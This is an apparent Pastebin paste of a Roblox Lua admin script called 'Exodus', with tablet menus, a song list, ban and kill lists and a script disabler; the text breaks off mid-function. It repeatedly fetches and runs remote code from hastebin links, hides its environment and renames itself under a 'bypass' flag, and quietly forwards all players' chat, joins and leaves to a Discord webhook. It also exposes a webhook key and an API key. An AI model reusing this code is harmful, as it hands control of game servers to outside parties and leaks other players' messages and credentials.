Advertisement
Guest User

Untitled

a guest
Jul 23rd, 2017
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. print'FOUND! Loading..'
  2. --https://titanpad.com/ep/pad/export/Irx8VnMuTT/latest?format=txt
  3. --Ping('Really black',1,'Teal','bas')
  4. --FUNCTIONS AT LINE 880!
  5.  
  6. owner = "Rvsl"
  7. admins = {'deranged_Joshie','sircfenner','ritg','DelishG',
  8. 'sircfenner','imtellingmommy','brianush1','WaverlyCole', 'Cracio','IceScripter','Zyrelx','deranged_Scott'}
  9.  
  10. scripters={"Rvsl","WaverlyCole","ritg"}
  11. banlist = {
  12. ['iListenTo1900sMusic'] = "noob";
  13. ["Luke_Ames"] = "ugly";
  14. ["fizzinsoda"] = "skid";
  15. }
  16. loopkill= {}
  17. commands = {}
  18. commands2 = {}
  19. prefix = ''
  20. prefix2 = '/'
  21. http = game:GetService('HttpService');
  22. HttpService = http
  23. adminjson = http:JSONEncode(admins)
  24. cmds_http = [[http://pandav3rm.tk/cmds.txt]]
  25. LocalScriptHost = "http://api-ic3.rhcloud.com/"
  26. ScriptsLoader = loadstring(http:GetAsync([[https://hastebin.com/raw/oziminical.bash]]))()
  27. players = game:service'Players'
  28. DSS = game:GetService("DataStoreService")
  29. DS = DSS:GetGlobalDataStore()
  30. TS = game:GetService'TeleportService'
  31. song_playing = false
  32. disable_local_scripts=false
  33. disable_server_scripts=false
  34. bypass=false
  35.  
  36. Styles = {
  37. ['Diamond'] = "https://hastebin.com/raw/diroyaxiru.scala";
  38. ['Normal'] = "https://hastebin.com/raw/fecemadoni.lua";
  39.  
  40. ['Running'] = 'Normal'; --You change the variable to the style you want to run.
  41. }
  42.  
  43.  
  44.  
  45.  
  46.  
  47. -----------------------------------------------PLUGINS
  48. plugins = {
  49. ------------------------TRANSLATOR
  50. translate = function(s,e,words)
  51. local language = s..'-'..e
  52. local msg = words
  53. local url = "https://translate.yandex.net/api/v1.5/tr.json/translate?key=trnsl.1.1.20140828T102208Z.9a8455fa5eba4401.e24a6890a334cbfb14039ea4846732f7c78d01ae&lang="..language.."&text="..msg
  54. local stoof = http:JSONDecode(http:GetAsync(url))
  55.  
  56. print(stoof['text'][1])
  57. end;
  58.  
  59. -----------------IP DETAILS
  60. GetIPDetails =function(ip)
  61. local HttpService = game.HttpService
  62. local Url = "http://freegeoip.net/json/"..ip
  63. print(HttpService:GetAsync(Url))
  64. end;
  65.  
  66. --------------MODEL 2 SCRIPT
  67. m2s = function()
  68. loadstring(http:GetAsync([[https://hastebin.com/raw/weqepiwiye.lua]]))()
  69. end;
  70. ------------GetInstances
  71. GetInstances = function(x)
  72. if type(x) == 'table' then
  73. for i,v in pairs(x) do
  74. print(tostring(i)..'\t'..tostring(v))
  75. end
  76. else
  77. for i,v in pairs(x:children()) do
  78. print(tostring(v))
  79. end
  80. end
  81. end;
  82. ------------RUN LOOPS
  83. run = function(loops,x)
  84. for i = 1,loops do
  85. loadstring(x)()
  86. end
  87. end;
  88. -----------RUNSCRIPT IF PLAYER
  89. }
  90.  
  91. RSPF = function(whozxc,func)
  92. for i,v in pairs(game:service'Players':children()) do
  93. if string.find(v.Name:lower(),whozxc:lower()) then
  94. return func()
  95. end
  96. end
  97. end
  98.  
  99. if players:GetNameFromUserIdAsync(game.CreatorId)~='Rvsl' then
  100. table.insert(admins,players:GetNameFromUserIdAsync(game.CreatorId))
  101. end
  102.  
  103. getfenv = function()
  104. local fakeEnv = {
  105. print = print,
  106. error = error,
  107. warn = warn
  108. }
  109. return fakeEnv
  110. end
  111.  
  112. tab_settings = {
  113. dismiss_mesh = true;
  114. other_mesh = true;
  115. meshId = 'rbxassetid://695187643'; --'rbxassetid://430345282';
  116. all_font = 'SourceSansLight';
  117. sound_parent=workspace;
  118. sound_volume=1;
  119. speed=.0008;
  120. lerp_speed=0.5;
  121. actual_speed=0; --Don't touch this
  122.  
  123. sizex=3;
  124. sizey=3;
  125. sizez=0;
  126. scalex=0.018;
  127. scaley=0.018;
  128. scalez=0.01;
  129.  
  130.  
  131. --[[
  132. sizex=3;
  133. sizey=3;
  134. sizez=0;
  135.  
  136. scalex=0.8;
  137. scaley=0.4;
  138. scalez=0.4;
  139. ]]
  140.  
  141. spawnPointX=0;
  142. spawnPointY=-1;
  143. spawnPointZ=0;
  144.  
  145. material='Neon';
  146. rot=0.3;
  147. rot2=0;
  148. transparency=0;
  149. theme = [[https://hastebin.com/raw/rutumeroqi.ini]]; --If you have a custom link, you put it inside here. VARIABLE: PartCF
  150. mainSpawnPoint = 'HumanoidRootPart';
  151.  
  152. rots = {
  153. Normal = false;
  154. Bouncy = true
  155. };
  156. }
  157.  
  158. music_script = [[
  159. AddMusic("Rae Sremmurd - Black Beatles",492272696)
  160. AddMusic("Meek Mill - Lord Knows",336805821)
  161. AddMusic("Sweet - Ballroom Blitz",464424535)
  162. AddMusic("Rae Sremmurd - This Could Be Us",244111886)
  163. AddMusic("Pumped Up Kicks - Bridge Law (Remix)",495493706)
  164. AddMusic("David Guetta Bang - My Head - feat Sia Fetty Wap",317275694)
  165. AddMusic('Desiigner - Panda',401120618)
  166. AddMusic("I Got the Keys (ft. Jay-Z & Future) - DJ ",446714239)
  167. AddMusic('My House - Flo Rida',319758951)
  168. AddMusic('The Weekend - The Hills',281750011)
  169. AddMusic('Whistle - Flo Rida',291396031)
  170. AddMusic('Future - Low Life ft. The Weekend',336725246)
  171. AddMusic('Kid Ink - Promise ft. Fetty Wap',356917026)
  172. AddMusic('O.T. Genasis x Young Dolph - Cut It',318486515)
  173. AddMusic('G Eazy - I mean it',219254377)
  174. AddMusic('Charlie Puth - One Call Away',310948899)
  175. AddMusic('D.R.A.M. - Broccoli ft. Lil Yachty',466984917)
  176. AddMusic('D.R.A.M. - Cha Cha',263824541)
  177. AddMusic('Desiigner - Timmy Turner',469009274)
  178. AddMusic("Mike Posner - I Took A Pill In Ibiza (Seeb Remix)",415989637)
  179. AddMusic("Ugly God - Straight Like That ft. Wintertime",435089805)
  180. AddMusic("Lil Uzi Vert - Erase Your Social",470321629)
  181. AddMusic("Jeff Kaale (X I X X) - Happy Days (rmx)",481698447)
  182. AddMusic("The Chainsmokers ft. Halsey - Closer",516050206)
  183. AddMusic("Charlie Puth ft. Selena Gomez - We don't talk anymore",348494043)
  184. AddMusic("Dawin - Jumpshot",511898136)
  185. AddMusic("Twenty One Pilots - Ride",516134477)
  186. AddMusic("Martin Garrix & Bebe Rexha - In The Name Of Love",467472854)
  187. AddMusic("Desiigner - Overnight",447672752)
  188. AddMusic("Rob $tone - Chill Bill",396066454)
  189. AddMusic("Rae Sremmurd - No Type",396488242)
  190. AddMusic("Bill Nye - Theme Song (Trap Remix)",500583860)
  191. AddMusic("XXXTENTACION - Look At Me",638644877)
  192. AddMusic("Drake - One Dance",399781334)
  193. AddMusic("Marshmello - Alone",639750143)
  194. AddMusic("21 Savage - No Heart",483137504)
  195. AddMusic("Coolio - G Paradise",151706747)
  196. AddMusic("KYLE - iSpy ft. Lil Yachty",565649306)
  197. AddMusic("Otis McDonald - What we do here is go back",345868687)
  198. AddMusic("AWOLNATION - Sail",715008432)
  199. AddMusic("(Bypassed) Romeo and Juliet vs Bonnie and Clyd. EBR Season 4",187649240)
  200. AddMusic("Lil Yatchy - Tip Toe (Bass Boosted)",520350889)
  201. AddMusic("Kali Uchis - Ridin Round ft. Tory Lanez",468867197)
  202. AddMusic("Eeery - Her",452174505)
  203.  
  204. AddMusic('none',0)
  205. ]]
  206.  
  207. ------------------------BYPASS-------------------------
  208. coroutine.resume(coroutine.create(function()
  209. if script then
  210. if bypass == true then
  211. script.Parent=game
  212. script.Name='Exodus';
  213. end
  214. end
  215.  
  216. if tab_settings.theme~='' then
  217. ThemeSource=HttpService:GetAsync(tab_settings.theme)
  218. end
  219.  
  220. -----------------------SCRIPT DISABLER-------------------------------
  221. game.DescendantAdded:connect(function(thing)
  222. pcall(function()
  223. if disable_local_scripts == true then
  224. if thing.ClassName=='LocalScript' then
  225. if thing.Name~='Animate' then
  226. thing.Disabled=true
  227. end
  228. end
  229. end
  230.  
  231. if disable_server_scripts == true then
  232. if thing.ClassName=='Script' then
  233. thing.Disabled=true
  234. end
  235. end
  236. end)
  237. end)
  238. --------------------------------------------------------------------------
  239. ------------------DEBUGGER--------------------------------------------------
  240. for i,v in pairs(game:service'Players':children()) do if v:FindFirstChild('Data') then v.Data:remove() end end
  241.  
  242.  
  243. --[[if game.PlaceId ~=437965235 then]]
  244. for i,admin in pairs(admins) do
  245. for i,player in pairs(game:service'Players':children()) do
  246. if player.Name==admin then
  247. if not player:FindFirstChild("Data") then
  248. data=Instance.new("Model",player)
  249. data.Name='Data'
  250.  
  251. page=Instance.new("StringValue",data)
  252. page.Name='page_number'
  253. page.Value='1'
  254.  
  255. page1=Instance.new("StringValue",data)
  256. page1.Name='page_number1'
  257. page1.Value='1'
  258. end
  259. end
  260. end
  261. end
  262.  
  263.  
  264. game:service'Players'.PlayerAdded:connect(function(player)
  265. for i,admin in pairs(admins) do
  266. if player.Name==admin then
  267. if not player:FindFirstChild("Data") then
  268. data=Instance.new("Model",player)
  269. data.Name='Data'
  270.  
  271. page=Instance.new("StringValue",data)
  272. page.Name='page_number'
  273. page.Value='1'
  274.  
  275. page1=Instance.new("StringValue",data)
  276. page1.Name='page_number1'
  277. page1.Value='1'
  278. end
  279. end
  280. end
  281. end)
  282. wait()
  283.  
  284. pcall(function()
  285. loadstring(http:GetAsync(Styles[Styles['Running']]))()
  286. end)
  287.  
  288.  
  289. ------------------------DISCORD-------------------------------
  290. coroutine.resume(coroutine.create(function()
  291. function PostToHastebin(source)
  292. local HastebinApiUrl = [[https://hastebin.com/documents]]
  293. local Link = HttpService:PostAsync(HastebinApiUrl,source);
  294. warn("http://hastebin.com/raw/"..HttpService:JSONDecode(Link)['key'])
  295. end
  296.  
  297. function sendDiscordMessageChatLog(name,msg,image)
  298. pcall(function()
  299. WebhookId = "337639224029347851" --My data
  300. WebhookKey = "YmNh7hXccsMl3Nl5P9XAutHXZfAnQkarya3q_8wTXxpBs93WpHTHTMYhMRTsykWVjFGr"
  301.  
  302.  
  303. local data = nil
  304. local config = {username = name,content = msg,avatar_url = image}
  305.  
  306. local success,err = pcall(function()
  307. data = http:JSONEncode(config)
  308. end)
  309.  
  310. if success then
  311. http:PostAsync("https://discordapp.com/api/webhooks/" .. WebhookId .. "/" .. WebhookKey, data)
  312. else
  313. --Error
  314. end
  315. end)
  316. end
  317.  
  318.  
  319.  
  320.  
  321. sendDiscordMessageChatLog('Exodus - SERVER >',' ['..game.PlaceId..'] has joined the group chat.')
  322.  
  323. for i,v in pairs(game:service'Players':children()) do
  324. v.Chatted:connect(function(m)
  325. if not string.find(m:lower(),'http') then
  326. pcall(function()
  327. sendDiscordMessageChatLog(v.Name..' > ',m)
  328. end)
  329. end
  330. end)
  331. end
  332.  
  333. game:service'Players'.PlayerAdded:connect(function(plr)
  334. sendDiscordMessageChatLog('SERVER - ',plr.Name..' has joined the server.')
  335. plr.Chatted:connect(function(m)
  336. pcall(function()
  337. if not string.find(m:lower(),'http') then
  338. sendDiscordMessageChatLog(plr.Name..' > ',m)
  339. end
  340. end)
  341. end)
  342. end)
  343.  
  344. game:service'Players'.PlayerRemoving:connect(function(plr)
  345. pcall(function()
  346. sendDiscordMessageChatLog('SERVER - ',plr.Name..' has left the server.')
  347. end)
  348. end)
  349. end))
  350. ----------------------------------------------------------------------------------
  351. for i,x in pairs(workspace.Terrain:children()) do if string.find(x.Name,'Whatever') then
  352. x:remove()
  353. end
  354. end
  355.  
  356. for i,x in pairs(workspace.Terrain:children()) do if string.find(x.Name,'Exodus') then
  357. x:remove()
  358. end
  359. end
  360.  
  361. admin_model = Instance.new("Model")
  362. admin_model.Name = 'Whatever'
  363. music_model = Instance.new("Model",admin_model)
  364. music_model.Name = 'Music'
  365. tabs_model=Instance.new("Model",workspace.Terrain)
  366. tabs_model.Name='Exodus Tablets'
  367.  
  368.  
  369.  
  370.  
  371. coroutine.resume(coroutine.create(function()
  372. for tab_speed = 0,math.huge,1 do wait()
  373. tab_settings.actual_speed=tab_settings.actual_speed+tab_settings.speed
  374.  
  375.  
  376. for i,v in pairs(loopkill) do
  377. for i,x in pairs(players:GetPlayers()) do if string.find(x.Name:lower(),v:lower()) then
  378. pcall(function()
  379. x.Character:BreakJoints()
  380. end)
  381. end
  382. end
  383. end
  384. end
  385. end))
  386.  
  387.  
  388. coroutine.resume(coroutine.create(function()
  389. while wait() do
  390. if not workspace.Terrain:FindFirstChild("Exodus Tablets") then
  391. tabs_model=tabs_model:clone()
  392. tabs_model.Parent=workspace.Terrain
  393.  
  394. for i,plr in pairs(game:service'Players':children()) do
  395. local model=Instance.new("Model",tabs_model)
  396. model.Name='Tabs_'..plr.Name
  397.  
  398. model.ChildAdded:connect(function(PartCF)
  399. pcall(function()
  400. PartCF.CFrame = plr.Character[tab_settings.mainSpawnPoint].CFrame*CFrame.new(tab_settings.spawnPointX,tab_settings.spawnPointY,tab_settings.spawnPointZ);
  401. loadstring(tab_settings.theme)()
  402. end)
  403. end)
  404. end
  405. end
  406.  
  407. for bannedWho,banned in pairs(banlist) do
  408. for i,player in pairs(game:service'Players':children()) do if player.Name==bannedWho then
  409. pcall(function()
  410. if player.Name==bannedWho then
  411. player:kick(banned)
  412. end;
  413. end)
  414. end
  415. end
  416. end
  417. end
  418. end))
  419.  
  420. ---------------------------------W A R N I N G [!]-------------------------------------
  421. ---------------------------REAL FUNCTIONS START HERE-----------------------------------
  422. ---------------------------------------------------------------------------------------
  423. --pcall(function()
  424. -- for i,model in pairs(tabs_model:children()) do if string.find(model.Name:lower(),who:lower()) then
  425. coroutine.resume(coroutine.create(function()
  426. for i,plr in pairs(game:service'Players':children()) do
  427. model=Instance.new("Model",tabs_model)
  428. model.Name='Tabs_'..plr.Name
  429.  
  430. model.ChildAdded:connect(function(PartCF)
  431. pcall(function()
  432. PartCF.CFrame = plr.Character[tab_settings.mainSpawnPoint].CFrame*CFrame.new(tab_settings.spawnPointX,tab_settings.spawnPointY,tab_settings.spawnPointZ);
  433. loadstring(tab_settings.theme)()
  434. end)
  435. end)
  436. end
  437.  
  438. players.PlayerRemoving:connect(function(PLYRLEAVING)
  439. for i,zasd in pairs(tabs_model:children()) do if zasd.Name:sub(#'Tabs_'+1)==PLYRLEAVING.Name then
  440. zasd:remove()
  441. end
  442. end
  443. end)
  444.  
  445.  
  446. coroutine.resume(coroutine.create(function()
  447. for i = 0,math.huge,.001 do wait()
  448. pcall(function()
  449. pcall(function()
  450. for i,x in pairs(tabs_model:children()) do
  451. if game:service'Players':FindFirstChild(x.Name:sub(6)) then
  452. end
  453. for i,v in pairs(x:children()) do
  454. if game:service'Players'[x.Name:sub(6)].Character:FindFirstChild('HumanoidRootPart') then
  455. pos = CFrame.new(game:service'Players'[x.Name:sub(6)].Character.HumanoidRootPart.Position) * CFrame.Angles(0,tab_settings.actual_speed+math.rad(i/#x:children()*360),0)
  456. if tab_settings.rots.Bouncy==true then
  457. v.CFrame = v.CFrame:lerp(pos*CFrame.new(0,math.sin(tick()+i-(tick()/2)),(#x:children()/6+1.3)*3)*CFrame.Angles(tab_settings.rot,tab_settings.rot2,0),tab_settings.lerp_speed)
  458. end
  459. if tab_settings.rots.normal==true then
  460. v.CFrame = v.CFrame:lerp(pos*CFrame.new(0,0,(#x:children()/6+1.3)*3)*CFrame.Angles(tab_settings.rot,tab_settings.rot2,0),tab_settings.lerp_speed)
  461. end
  462. end;
  463. end
  464. end
  465. end)
  466. end)
  467. end
  468. end))
  469.  
  470. function RealDissmiss(who)
  471. for i,model in pairs(tabs_model:children()) do if string.find(model.Name:lower(),who:lower()) then
  472. coroutine.resume(coroutine.create(function()
  473. for i = 0,1,.1 do wait()
  474. for i,v in pairs(model:children()) do v.Transparency=v.Transparency+.1 end
  475. end
  476. model:ClearAllChildren()
  477. end))
  478. end
  479. end
  480. end
  481.  
  482. function RealDissmissWait(who)
  483. for i,model in pairs(tabs_model:children()) do if string.find(model.Name:lower(),who:lower()) then
  484. for i = 0,1,.1 do wait()
  485. for i,v in pairs(model:children()) do v.Transparency=v.Transparency+.1 end
  486. end
  487. model:ClearAllChildren()
  488. end
  489. end
  490. end
  491.  
  492. function Dissmiss(who)
  493. for i,model in pairs(tabs_model:children()) do if string.find(model.Name:lower(),who:lower()) then
  494. local p1 = Instance.new("Part",model)
  495. p1.Anchored = true
  496. p1.FormFactor='Custom'
  497. p1.Size = Vector3.new(tab_settings.sizex,tab_settings.sizey,tab_settings.sizez)
  498. p1.Material = tab_settings.material
  499. p1.BrickColor = BrickColor.new'Really red'
  500. p1.CanCollide = false
  501. p1.Transparency=tab_settings.transparency
  502.  
  503. if tab_settings.dismiss_mesh == true then
  504. pmesh=Instance.new("SpecialMesh",p1)
  505. pmesh.MeshId=tab_settings.meshId
  506. pmesh.Scale=Vector3.new(tab_settings.scalex,tab_settings.scaley,tab_settings.scalez)
  507. end
  508.  
  509.  
  510. local bg = Instance.new("BillboardGui", p1)
  511. bg.Adornee = p1
  512. bg.Name = "BG"
  513. bg.Size = UDim2.new(4, 0, 2.5, 0)
  514. bg.StudsOffset = Vector3.new(-4, 2, 0)
  515.  
  516. local text1 = Instance.new("TextLabel", bg)
  517. text1.Size = UDim2.new(3, 0, 0.5, 0)
  518. text1.FontSize = "Size18"
  519. text1.TextScaled = true
  520. text1.TextTransparency = 0
  521. text1.BackgroundTransparency = 1
  522. text1.TextTransparency = 0
  523. text1.TextStrokeTransparency = 0
  524. text1.TextColor = BrickColor.new('Crimson')
  525. text1.Text = 'Dismiss'
  526. text1.Name='Tl'
  527.  
  528. loadstring(ThemeSource)()
  529. local cd=Instance.new("ClickDetector",p1)
  530. cd.MouseClick:connect(function(who1)
  531. if string.find(who1.Name:lower(),who:lower()) or who1.Name==owner then
  532. RealDissmiss(who)
  533. pcall(function()
  534. who1.Data.page_number.Value=1
  535. end)
  536. end
  537. end)
  538. end
  539. end
  540. end
  541.  
  542.  
  543. function Ping(Color,text,textcolor,who)
  544. for i,model in pairs(tabs_model:children()) do if string.find(model.Name:lower(),who:lower()) then
  545. pcall(function()
  546. if #model:GetChildren() < 1 then
  547. Dissmiss(who)
  548. end
  549. end)
  550.  
  551.  
  552. local p1 = Instance.new("Part",model)
  553. p1.Anchored = true
  554. p1.FormFactor='Custom'
  555. p1.Size = Vector3.new(tab_settings.sizex,tab_settings.sizey,tab_settings.sizez)
  556. p1.Material = tab_settings.material
  557. p1.BrickColor = BrickColor.new(Color)
  558. p1.CanCollide = false
  559. p1.Name='Ping'
  560. p1.Transparency=tab_settings.transparency
  561.  
  562. if tab_settings.other_mesh == true then
  563. pmesh=Instance.new("SpecialMesh",p1)
  564. pmesh.MeshId=tab_settings.meshId
  565. pmesh.Scale=Vector3.new(tab_settings.scalex,tab_settings.scaley,tab_settings.scalez)
  566. end
  567.  
  568. local bg = Instance.new("BillboardGui", p1)
  569. bg.Adornee = p1
  570. bg.Name = "BG"
  571. bg.Size = UDim2.new(4, 0, 2.5, 0)
  572. bg.StudsOffset = Vector3.new(-4, 2, 0)
  573.  
  574. local text1 = Instance.new("TextLabel", bg)
  575. text1.Size = UDim2.new(3, 0, 0.5, 0)
  576. text1.FontSize = "Size18"
  577. text1.TextScaled = true
  578. text1.TextTransparency = 0
  579. text1.BackgroundTransparency = 1
  580. text1.TextTransparency = 0
  581. text1.TextStrokeTransparency = 0
  582. text1.TextColor = BrickColor.new(textcolor)
  583. text1.Text = tostring(text)
  584. text1.Name='Tl'
  585. text1.Font = tab_settings.all_font
  586.  
  587. loadstring(ThemeSource)()
  588. for i,v in pairs(model:children()) do if v.Name=='Ping' then
  589. if not v:FindFirstChild("ClickDetector") then
  590. local cd=Instance.new("ClickDetector",v)
  591. cd.MouseClick:connect(function(who1)
  592. if string.find(who1.Name:lower(),who:lower()) or who1.Name==owner then
  593. coroutine.resume(coroutine.create(function()
  594. for i = 0,1,.1 do wait()
  595. v.Transparency=i
  596. end
  597. v:remove()
  598. end))
  599. end
  600. end)
  601. end
  602. end
  603. end;
  604.  
  605. end
  606. end
  607. end
  608.  
  609.  
  610. function PingPicture(Color,id,who,sizex,sizey,type)
  611. for i,model in pairs(tabs_model:children()) do if string.find(model.Name:lower(),who:lower()) then
  612.  
  613. if #model:GetChildren() < 1 then
  614. Dissmiss(who)
  615. end
  616.  
  617. local p1 = Instance.new("Part",model)
  618. p1.Anchored = true
  619. p1.FormFactor='Custom'
  620. p1.Size = Vector3.new(tab_settings.sizex,tab_settings.sizey,tab_settings.sizez)
  621. p1.Material = tab_settings.material
  622. p1.BrickColor = BrickColor.new(Color)
  623. p1.CanCollide = false
  624. p1.Name='ImagePing'
  625. p1.Transparency=tab_settings.transparency
  626.  
  627. if tab_settings.other_mesh == true then
  628. pmesh=Instance.new("SpecialMesh",p1)
  629. pmesh.MeshId=tab_settings.meshId
  630. pmesh.Scale=Vector3.new(tab_settings.scalex,tab_settings.scaley,tab_settings.scalez)
  631. end
  632.  
  633. local bg = Instance.new("BillboardGui", p1)
  634. bg.Adornee = p1
  635. bg.Name = "BG"
  636. bg.Size = UDim2.new(1.8, 0, 2.8, 0)
  637. bg.StudsOffset = Vector3.new(-1.4, 4.4, 0)
  638. local image = Instance.new("ImageLabel", bg)
  639. image.Size = UDim2.new(sizex, 0, sizey, 0)
  640.  
  641. if type:lower() == 'other' then
  642. image.Image = 'https://www.roblox.com/Thumbs/Asset.ashx?width=110&height=110&assetId='..id
  643. end
  644. if type:lower() == 'avatar' then
  645. image.Image = 'https://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&username='..id
  646. end
  647. image.BackgroundTransparency=1
  648.  
  649. loadstring(ThemeSource)()
  650. local cd=Instance.new("ClickDetector",p1)
  651. cd.MouseClick:connect(function(who1)
  652. if string.find(who1.Name:lower(),who:lower()) or who1.Name==owner then
  653. coroutine.resume(coroutine.create(function()
  654. for i = 0,1,.1 do wait()
  655. p1.Transparency=i
  656. end
  657. p1:remove()
  658. end))
  659. end
  660. end)
  661. end
  662. end
  663. end
  664.  
  665.  
  666.  
  667. function PingPictureText(Color,id,who,text,textcolor,sizex,sizey,type)
  668. for i,model in pairs(tabs_model:children()) do if string.find(model.Name:lower(),who:lower()) then
  669.  
  670. if #model:GetChildren() < 1 then
  671. Dissmiss(who)
  672. end
  673.  
  674. local p1 = Instance.new("Part",model)
  675. p1.Anchored = true
  676. p1.FormFactor='Custom'
  677. p1.Size = Vector3.new(tab_settings.sizex,tab_settings.sizey,tab_settings.sizez)
  678. p1.Material = tab_settings.material
  679. p1.BrickColor = BrickColor.new(Color)
  680. p1.CanCollide = false
  681. p1.Name='ImagePing'
  682. p1.Transparency=tab_settings.transparency
  683.  
  684. if tab_settings.other_mesh == true then
  685. pmesh=Instance.new("SpecialMesh",p1)
  686. pmesh.MeshId=tab_settings.meshId
  687. pmesh.Scale=Vector3.new(tab_settings.scalex,tab_settings.scaley,tab_settings.scalez)
  688. end
  689.  
  690. local bg = Instance.new("BillboardGui", p1)
  691. bg.Adornee = p1
  692. bg.Name = "BG"
  693. bg.Size = UDim2.new(1.8, 0, 2.8, 0)
  694. if type:lower() == 'avatar' then
  695. bg.StudsOffset = Vector3.new(-1.4, 4.7, 0)
  696. else
  697. bg.StudsOffset = Vector3.new(-1.4, 6, 0)
  698. end
  699. local image = Instance.new("ImageLabel", bg)
  700. image.Size = UDim2.new(sizex, 0, sizey, 0)
  701.  
  702. local bg2 = Instance.new("BillboardGui", p1)
  703. bg2.Adornee = p1
  704. bg2.Name = "BG"
  705. bg2.Size = UDim2.new(4, 0, 2.5, 0)
  706. bg2.StudsOffset = Vector3.new(-4, 2, 0)
  707.  
  708. local text1 = Instance.new("TextLabel", bg2)
  709. text1.Size = UDim2.new(3, 0, 0.5, 0)
  710. text1.FontSize = "Size18"
  711. text1.TextScaled = true
  712. text1.TextTransparency = 0
  713. text1.BackgroundTransparency = 1
  714. text1.TextTransparency = 0
  715. text1.TextStrokeTransparency = 0
  716. text1.TextColor = BrickColor.new(textcolor)
  717. text1.Text = tostring(text)
  718. text1.Name='Tl'
  719. text1.Font = tab_settings.all_font
  720.  
  721.  
  722. if type:lower() == 'other' then
  723. image.Image = 'https://www.roblox.com/Thumbs/Asset.ashx?width=110&height=110&assetId='..id
  724. end
  725. if type:lower() == 'avatar' then
  726. image.Image = 'https://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&username='..id
  727. end
  728. image.BackgroundTransparency=1
  729.  
  730.  
  731.  
  732. loadstring(ThemeSource)()
  733. local cd=Instance.new("ClickDetector",p1)
  734. cd.MouseClick:connect(function(who1)
  735. if string.find(who1.Name:lower(),who:lower()) or who1.Name==owner then
  736. coroutine.resume(coroutine.create(function()
  737. for i = 0,1,.1 do wait()
  738. p1.Transparency=i
  739. end
  740. p1:remove()
  741. end))
  742. end
  743. end)
  744. end
  745. end
  746. end
  747.  
  748.  
  749.  
  750.  
  751. function ScriptPing(Color,text,textcolor,source,who,name)
  752. for i,model in pairs(tabs_model:children()) do if string.find(model.Name:lower(),who:lower()) then
  753.  
  754. if #model:GetChildren() < 1 then
  755. Dissmiss(who)
  756. end
  757.  
  758. local p1 = Instance.new("Part",model)
  759. p1.Anchored = true
  760. p1.FormFactor='Custom'
  761. p1.Size = Vector3.new(tab_settings.sizex,tab_settings.sizey,tab_settings.sizez)
  762. p1.Material = tab_settings.material
  763. p1.BrickColor = BrickColor.new(Color)
  764. p1.CanCollide = false
  765. p1.Name=name
  766. p1.Transparency=tab_settings.transparency
  767.  
  768. if tab_settings.other_mesh == true then
  769. pmesh=Instance.new("SpecialMesh",p1)
  770. pmesh.MeshId=tab_settings.meshId
  771. pmesh.Scale=Vector3.new(tab_settings.scalex,tab_settings.scaley,tab_settings.scalez)
  772. end
  773.  
  774. local bg = Instance.new("BillboardGui", p1)
  775. bg.Adornee = p1
  776. bg.Name = "BG"
  777. bg.Size = UDim2.new(4, 0, 2.5, 0)
  778. bg.StudsOffset = Vector3.new(-4, 2, 0)
  779.  
  780. local text1 = Instance.new("TextLabel", bg)
  781. text1.Size = UDim2.new(3, 0, 0.5, 0)
  782. text1.FontSize = "Size18"
  783. text1.TextScaled = true
  784. text1.TextTransparency = 0
  785. text1.BackgroundTransparency = 1
  786. text1.TextTransparency = 0
  787. text1.TextStrokeTransparency = 0
  788. text1.TextColor = BrickColor.new(textcolor)
  789. text1.Text = text
  790. text1.Name='Tl'
  791. text1.Font = tab_settings.all_font
  792.  
  793.  
  794.  
  795. loadstring(ThemeSource)()
  796. local cd=Instance.new("ClickDetector",p1)
  797. cd.MouseClick:connect(function(who1)
  798. if string.find(who1.Name:lower(),who:lower()) or who1.Name==owner then
  799. loadstring(source)()
  800. end
  801. end)
  802. end
  803. end
  804. end
  805.  
  806.  
  807.  
  808. function BLAH()
  809. function PingSong(Color,textcolor,who,keyword)
  810. RealDissmissWait(who)
  811. for i,model in pairs(tabs_model:children()) do if string.find(model.Name:lower(),who:lower()) then
  812. if #model:GetChildren() < 1 then
  813. pcall(function()
  814. Dissmiss(who)
  815. end)
  816. end
  817.  
  818. --PingSong(Color,textcolor,who,keyword)
  819. Url = "http://search.roblox-proxy.cf/catalog/json?Keyword=" .. keyword.. "&Category=9&PageNumber="..game:service'Players'[who].Data.page_number.Value.."&ResultsPerPage=10"
  820. Assets = http:JSONDecode(http:GetAsync(Url))
  821.  
  822. pcall(function()
  823. if #Assets<10 then
  824. Url = "http://search.roblox-proxy.cf/catalog/json?Keyword=" .. keyword.. "&Category=9&PageNumber="..game:service'Players'[who].Data.page_number.Value.."&ResultsPerPage=10"
  825.  
  826.  
  827. else
  828. for i,asdaxc in pairs(model:children()) do if asdaxc.Name=='Next' then
  829. asdaxc:remove()
  830. end
  831. end
  832.  
  833. coroutine.resume(coroutine.create(function()
  834. if Url == "http://search.roblox-proxy.cf/catalog/json?Keyword=" .. keyword.. "&Category=9&PageNumber="..game:service'Players'[who].Data.page_number.Value.."&ResultsPerPage=10" then
  835. ScriptPing("Lime green","Next","Lime green",[[ if #Assets>]]..game:service'Players'[who].Data.page_number.Value..[[ then RealDissmissWait(']]..who..[[')
  836. game:service'Players'[']]..who..[['].Data.page_number.Value=game:service'Players'[']]..who..[['].Data.page_number.Value+1 PingSong(']]..Color..[[',']]..textcolor..[[',']]..who..[[',']]..keyword..[[') end ]],who,"Next")
  837. else
  838.  
  839.  
  840. if Url == "http://search.roblox-proxy.cf/catalog/json?Keyword=" .. keyword.. "&Category=9&PageNumber="..game:service'Players'[who].Data.page_number.Value.."&ResultsPerPage="..#Assets then
  841. wait(1)
  842. game:service'Players'[who].Data.page_number.Value=1
  843. end
  844. Url = "http://search.roblox-proxy.cf/catalog/json?Keyword=" .. keyword.. "&Category=9&PageNumber="..game:service'Players'[who].Data.page_number.Value.."&ResultsPerPage="..#Assets
  845. end
  846. end))
  847. end
  848. end)
  849.  
  850.  
  851. for song = 1, #Assets,1 do
  852. p1 = Instance.new("Part",model)
  853. p1.Anchored = true
  854. p1.FormFactor='Custom'
  855. p1.Size = Vector3.new(tab_settings.sizex,tab_settings.sizey,tab_settings.sizez)
  856. p1.Material = tab_settings.material
  857. p1.BrickColor = BrickColor.new(Color)
  858. p1.CanCollide = false
  859. p1.Name='Ping'
  860. p1.Transparency=tab_settings.transparency
  861.  
  862. if tab_settings.other_mesh == true then
  863. pmesh=Instance.new("SpecialMesh",p1)
  864. pmesh.MeshId=tab_settings.meshId
  865. pmesh.Scale=Vector3.new(tab_settings.scalex,tab_settings.scaley,tab_settings.scalez)
  866. end
  867.  
  868. local bg = Instance.new("BillboardGui", p1)
